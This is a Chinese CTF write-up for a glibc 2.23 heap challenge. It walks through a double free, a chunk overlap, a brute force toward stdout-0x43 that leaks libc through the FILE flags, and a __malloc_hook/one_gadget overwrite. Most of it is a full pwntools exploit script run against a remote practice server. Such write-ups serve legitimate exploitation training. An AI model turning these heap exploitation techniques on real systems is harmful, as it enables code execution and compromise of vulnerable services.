题目没有leak函数,肯定得打stdout,但是又是个2.23,有指针没清零的漏洞
在stdout-0x43的地方有0x7f的size,而且和main_arena+88很近,最后三位固定是0x5dd,所以需要爆破第二个字节的高位,概率是1/16。这应该是没leak的通用打法
然后题目是通过double free,控制堆块,修改size进unsortedbin,然后爆破fd,申请出stdout泄露libc,最后打malloc_hook和realloc去getshell。
操作
首先肯定是double free去改写堆上的fd指针拿到改写的fake chunk,这里是chunk0是被操作的chunk,chunk5是我们的fake chunk用来控制0,chunk6是专门用来垫小chunk的。
所以我们的思路就是,
free(6)#送小chunk
free(5)
add(0x60,p64(0)+p64(0xa1),'\x00')#释放再申请5,就是编辑5,来改写0,去做到任意地址写
失误1
我们的想法肯定首先要把0送到unsortedbin中,然后爆破改写他的fd的低2字节,
所以本来在拿到5的第一时刻就将0的size改写为0xa1,并free(0)进入unsortrdbin,然后edit(5)去改写0的size为0x71,和fd,但会发现写完之后其实是没办法申请出来stdout的。
失误1纠正
所以正确的思路第一次拿到5的时候不改0的size,先free(0)到fastbin中,然后edit(5)一次将0的size改为0xa1,再free(0),这次0就会同时存在在unsortedbin和fastbin中,
接下来就可以去修改0 的size为0x71,fd为stdout-0x43了
失误2
爆破拿到stdout-0x43后,我直接进行
add(0x60,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x58','\xaa'*0x10)
修改stdout
但是我发现,程序会卡在打出libc之后,
失误2纠正
应该是因为在add中,在输入完chunk内容后就会打出libc,但是add在这之后还有第三个输入,所以会和recvlibc冲突,导致程序卡住,所以这里要一句句输入,在第二个输入后就recvlibc,在进行第三个输入。
最后,还是edit 0 指向mallochook,打ogg
exp
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
def Local(LOCAL):
if LOCAL == 1:
p = process('./pwn')
else:
p = remote("node4.buuoj.cn",28965)
return p
def Libc(LIBC):
if LIBC == 2.23:
libc = ELF('/home/hacker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
elif LIBC == 2.24:
libc = ELF("/home/hacker/glibc-all-in-one/libs/2.24-3ubuntu1_amd64/libc-2.24.so")
elif LIBC == 2.26:
libc = ELF("/home/hacker/glibc-all-in-one/libs/2.26-0ubuntu2.1_amd64/libc-2.26.so")
elif LIBC == 2.27:
#libc = ELF("/home/hacker/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so")#1
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")#1.2
#libc = ELF("/home/hacker/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc-2.27.so")#1.4
elif LIBC == 2.29:
libc = ELF("/home/hacker/glibc-all-in-one/libs/2.29-0ubuntu2_amd64/libc-2.29.so")
elif LIBC == 2.30:
libc = ELF("/home/hacker/glibc-all-in-one/libs/2.30-0ubuntu2_amd64/libc-2.30.so")
#libc = ELF("/home/hacker/glibc-all-in-one/libs/2.30-0ubuntu2.2_amd64/libc-2.30.so")
elif LIBC == 2.31:
#libc = ELF("/home/hacker/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc-2.31.so")#9
libc = ELF("/home/hacker/glibc-all-in-one/libs/2.24-0ubuntu9.2_amd64/libc-2.31.so")#9.2
elif LIBC == 0:#remote
libc = ELF('./libc-2.23.so')
return libc
################### exp ####################
def menu(idx):
p.sendlineafter("Your choice : ",str(idx))
def add(size,con,msg):
menu(1)
p.sendlineafter("size of the game's name: \n",str(int(size)))
p.sendafter("game's name:\n",con)
p.sendlineafter("game's message:\n",msg)
def free(idx):
menu(2)
p.sendlineafter("index:\n",str(idx))
def exp(p):
#double free
add(0x60,'\xaa',p64(0)+p64(0x71))#0
add(0x60,'\xaa','\x01'*0x10)#1
free(0)
free(1)
free(0)
#get 4 to get controled chunk
add(0x60,'\x20','\x00')#2 0
add(0x60,'\x00','\x01')#3 1
add(0x60,'\x00'*0x58+p64(0x41),'\x00')#4 0
add(0x60,p64(0)+p64(0x71),'\x00')#5 controling
#prepare 0x20 chunk for edit
add(0x20,'\xaa','\x00')#6
#free 0 into fastbin
free(0)
#edit
#change 0 size
free(6)#0x20
free(5)
add(0x60,p64(0)+p64(0xa1),'\x00')#7 0 5
#free 0 into unsortedbin
free(0)
#edit
#change 0 size and fd to stdout-0x43
free(6)#0x20
free(5)
add(0x60,p64(0)+p64(0x71)+'\xdd'+'\xc5','\x00')#7 0 5
#get stdout-0x43
free(6)
add(0x60,'\x00','\x00')
free(6)
#add(0x60,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x58','\xaa'*0x10)
menu(1)
p.sendlineafter("size of the game's name: \n",str(int(0x60)))
p.sendafter("game's name:\n",'\x00'*0x33+p64(0xfbad1887)+p64(0)*3+'\x58')
#leak libc
libc_base = u64(p.recv(6).ljust(8,'\x00'))-0x3c56a3
log.info("libc_base = "+hex(libc_base))
p.sendlineafter("game's message:\n",'\xaa'*0x10)
#get malloc_hook
malloc_hook = libc_base + libc.sym["__malloc_hook"]
realloc = libc_base + libc.sym["realloc"]
ogg = libc_base + 0x4526a
free(0)
#edit
free(6)#0x20
free(5)
add(0x60,p64(0)+p64(0x71)+p64(malloc_hook-0x23),'\x00')#7 0 5
free(6)
add(0x60,'a','b')
free(6)
add(0x60,'\x00'*(0x13-0x8)+p64(ogg)+p64(realloc+0xd),'a')
menu(1)
p.sendline("cat flag")
#gdb.attach(p)
p.interactive()
if __name__ == '__main__':
elf = ELF("./pwn")
while True:
try:
LOCAL = 0
LIBC = 0
p = Local(LOCAL)
libc = Libc(LIBC)
exp(p)
except:
#sleep(1)
p.close()